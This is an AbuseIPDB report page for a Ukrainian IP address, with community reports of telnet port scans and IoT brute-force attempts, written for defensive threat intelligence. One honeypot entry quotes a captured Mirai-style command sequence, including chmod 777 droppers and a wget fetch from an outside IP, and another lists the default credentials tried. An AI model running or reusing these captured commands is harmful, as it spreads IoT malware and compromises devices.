JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 45.12.25.230

45.12.25.230 was found in our database!

This IP was reported 21 times. Confidence of Abuse is 58%: ?

58%

ISP	PC Astra-net
Usage Type	Fixed Line ISP
ASN	AS49824
Domain Name	astra.in.ua
Country	🇺🇦 Ukraine
City	Lviv, Lviv

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 45.12.25.230

Whois 45.12.25.230

IP Abuse Reports for 45.12.25.230:

This IP address has been reported a total of 21 times from 14 distinct sources. 45.12.25.230 was first reported on August 1st 2026, and the most recent report was 5 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇭🇰 mutebot.net	2026-09-01 21:42:14 (5 hours ago)	SRC=45.12.25.230, PROTO=TCP, SPT=4374, DPT=23	Port Scan
🇩🇪 VentryShield	2026-09-01 21:04:36 (6 hours ago)	p0t honeypot: telnet connection on port 23/tcp, 126 bytes received from client	IoT Targeted Brute-Force
🇫🇷 security.rdmc.fr	2026-09-01 19:52:39 (7 hours ago)	Port Scan Attack proto:TCP src:14944 dst:23	Port Scan
🇺🇸 xmission.com	2026-09-01 18:47:09 (8 hours ago)	Blocked by UFW (TCP on 23) Source port: 29232 TTL: 44 Packet length: 60 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 29232 TTL: 44 Packet length: 60 TOS: 0x08 This report (for 45.12.25.230) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇺🇸 xmission.com	2026-09-01 16:05:48 (11 hours ago)	Blocked by UFW (TCP on 23) Source port: 11485 TTL: 44 Packet length: 60 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 11485 TTL: 44 Packet length: 60 TOS: 0x08 This report (for 45.12.25.230) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇺🇸 xmission.com	2026-09-01 08:53:47 (18 hours ago)	Blocked by UFW (TCP on 23) Source port: 7009 TTL: 42 Packet length: 60 TOS: 0x00 This report (for 4 ... show more Blocked by UFW (TCP on 23) Source port: 7009 TTL: 42 Packet length: 60 TOS: 0x00 This report (for 45.12.25.230) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
Anonymous	2026-08-08 20:08:23 (3 weeks ago)	Drop from IP address 45.12.25.230 to tcp-port 23	Port Scan
🇺🇸 RAP	2026-08-08 20:03:29 (3 weeks ago)	2026-08-08 20:03:29 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇩🇪 anycast_ac	2026-08-08 19:17:14 (3 weeks ago)	[mirai-detector honeypot] Inbound attack against our honeypot on tcp/23 (telnet). Tried credentials: ... show more [mirai-detector honeypot] Inbound attack against our honeypot on tcp/23 (telnet). Tried credentials: b'admin':b'admin' Family fingerprint: mirai Commands captured: $ enable $ system $ shell $ sh $ linuxshell show less	DDoS Attack IoT Targeted Brute-Force
🇺🇸 pcprincipal8752	2026-08-05 03:12:28 (4 weeks ago)	NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) enable \| 2) system \| 3) shell \| 4) sh \| 5) linuxshell \| ... show more NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) enable \| 2) system \| 3) shell \| 4) sh \| 5) linuxshell \| 6) enablelinuxshell \| 7) ping ;sh \| 8) busybox \| 9) cd /proc && cat self/cmdline \| 10) /bin/busybox \| 11) >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ \| 12) >/var/d && chmod 777 /var/d && /var/d && cd /var/ \| 13) >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ \| 14) >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ \| 15) >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ \| 16) >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ \| 17) >/data/d && chmod 777 /data/d && /data/d && cd /data/ \| 18) >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ \| 19) >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ \| 20) >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ \| 21) >/home/d && chmod 777 /home/d && /home/d && cd /home/ \| 22) >/root/d && chmod 777 /root/d && /root/d && cd /root/ \| 23) (wget http://77.90.185.66/wget -O- \|\| busybox wget http://77.90.185.66/wget -O-) > w; show less	Brute-Force
🇫🇷 security.rdmc.fr	2026-08-05 02:45:26 (4 weeks ago)	Port Scan Attack proto:TCP src:13553 dst:23	Port Scan
🇧🇷 SOC Blue Team	2026-08-05 01:26:15 (4 weeks ago)	IPs get by Hunting on SIEM	Phishing Web Spam Port Scan Hacking
🇺🇸 MPL	2026-08-04 23:49:04 (4 weeks ago)	tcp/23	Port Scan
🇺🇸 MPL	2026-08-04 21:12:55 (4 weeks ago)	tcp/23 (2 or more attempts)	Port Scan
🇺🇸 RAP	2026-08-04 21:05:07 (4 weeks ago)	2026-08-04 21:05:07 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan

Showing 1 to 15 of 21 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 2a12:da85:2260:3068:8607:dd73:67a2:ab1e

🇹🇭 203.151.27.181

🇯🇵 182.171.90.17

🇳🇱 172.253.7.211

🇺🇸 162.216.150.126

🇭🇰 150.5.148.103

🇫🇮 147.185.133.42

🇺🇸 124.198.131.186

🇩🇪 104.207.62.28

🇩🇪 69.5.169.83

🇺🇸 66.132.172.235

🇱🇺 64.89.161.82

🇫🇷 51.75.21.168

🇹🇿 41.93.28.9

🇬🇧 35.203.210.247

🇺🇸 3.131.220.121

🇫🇷 2a13:f47:aa4d:dd01:b9a8:177d:ce50:99e3

🇫🇷 2a13:f46:5934:bb7f:fbc9:70de:d742:33ec

🇫🇷 2a13:f40:f3d0:e397:70af:13c0:23f0:e814

🇫🇷 2a13:f40:4c14:a7b2:ffc0:98c4:7471:cec8